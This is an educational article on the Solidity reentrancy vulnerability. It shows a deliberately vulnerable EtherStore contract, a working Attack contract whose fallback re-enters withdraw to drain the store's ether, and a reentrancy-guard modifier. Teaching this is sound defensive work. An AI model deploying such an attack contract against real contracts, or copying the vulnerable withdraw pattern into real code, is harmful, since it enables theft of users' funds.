Articles Home

Common Vulnerabilities in Solidity: Reentrancy Vulnerability

Apr 17, 2023

Smart contracts are an important component of blockchain technology, used to automate and execute various transactions and operations. However, vulnerabilities and security issues in smart contracts have become a pervasive problem, with one of the most common being the reentrancy vulnerability. In this article, we will delve into the principles, impact, and resolutions of the reentrancy vulnerability.

What Is Reentrancy Vulnerability ?

One of the features of Ethereum smart contracts is that they can make external calls to other contracts. Additionally, Ethereum's transfer of ether is not limited to external accounts; contract accounts can also have ether and perform transfer operations. When a contract receives ether, it triggers the fallback function to execute the corresponding logic, which is a hidden external call.

We can assume that all external calls in a contract are unsafe and potentially vulnerable to reentrancy attacks. If the target of an external call is a malicious contract controlled by an attacker, then when the attacked contract calls the malicious contract, the attacker can execute malicious logic and then reenter the attacked contract's internal functions, initiating an unexpected external call and disrupting the normal execution logic of the attacked contract.

Vulnerability Example

After reading the above content, we have a basic understanding of the reentrancy vulnerability. Next, let's take a look at a classic code with a reentrancy vulnerability to help us further understand the vulnerability:

        
            // SPDX-License-Identifier: MIT
            pragma solidity ^0.8.3;
            contract EtherStore {
                mapping(address => uint) public balances;

                function deposit() public payable {
                    balances[msg.sender] += msg.value;
                }
                function withdraw() public {
                    uint bal = balances[msg.sender];
                    require(bal > 0);

                    (bool sent, ) = msg.sender.call{value: bal}("");
                    require(sent, "Failed to send Ether");
                    balances[msg.sender] = 0;
                }

                // Helper function to check the balance of this contract
                function getBalance() public view returns (uint) {
                    return address(this).balance;
                }
            }
        
    

Vulnerability Analysis

We can see that the EtherStore contract is a simple deposit and withdrawal contract. However, we can see that the withdraw function in this contract contains an external call to msg.sender.call{value: balance}, so we can assume that this contract may have a reentrancy vulnerability. Next, we will analyze this contract in depth.

Below is the attack contract deployed by the attacker, let's continue the analysis:

        
            // SPDX-License-Identifier: MIT
            pragma solidity ^0.8.3;

            contract Attack {
                EtherStore public etherStore;

                constructor(address _etherStoreAddress) {
                    etherStore = EtherStore(_etherStoreAddress);
                }
                // Fallback is called when EtherStore sends Ether to this contract.
                fallback() external payable {
                    if (address(etherStore).balance >= 1 ether) {
                        etherStore.withdraw();
                    }
                }

                function attack() external payable {
                    require(msg.value >= 1 ether);
                    etherStore.deposit{value: 1 ether}();
                    etherStore.withdraw();
                }

                // Helper function to check the balance of this contract
                function getBalance() public view returns (uint) {
                    return address(this).balance;
                }
            }
        
    

First, the attacker deploys an Attack contract with the address of the EtherStore contract as a parameter. Then, the attacker calls the Attack.attack function, which in turn calls the EtherStore.deposit function to deposit 1 ether into the EtherStore contract. Next, the Attack.attack function calls the EtherStore.withdraw function to withdraw the ether that was just deposited by the attacker.

When Attack.attack calls EtherStore.withdraw to retrieve the 1 Ether that the attacker previously deposited, it triggers the Attack.fallback function. At this point, as long as there is 1 or more Ether in the EtherStore contract, Attack.fallback will keep calling EtherStore.withdraw to transfer Ether from EtherStore to the Attack contract, until the balance of Ether in EtherStore is less than 1.

In this way, the attacker will obtain the remaining assets in the EtherStore contract account.

How To Prevent Reentrancy Vulnerability ?

We provide some suggestions to help contract developers avoid the occurrence of reentrancy vulnerabilities:

The following is a code example of an anti-reentrancy lock:

        
            // SPDX-License-Identifier: MIT
            pragma solidity ^0.8.3;

            contract ReEntrancyGuard {
                bool internal locked;

                modifier noReentrant() {
                    require(!locked, "No re-entrancy");
                    locked = true;
                    _;
                    locked = false;
                }
            }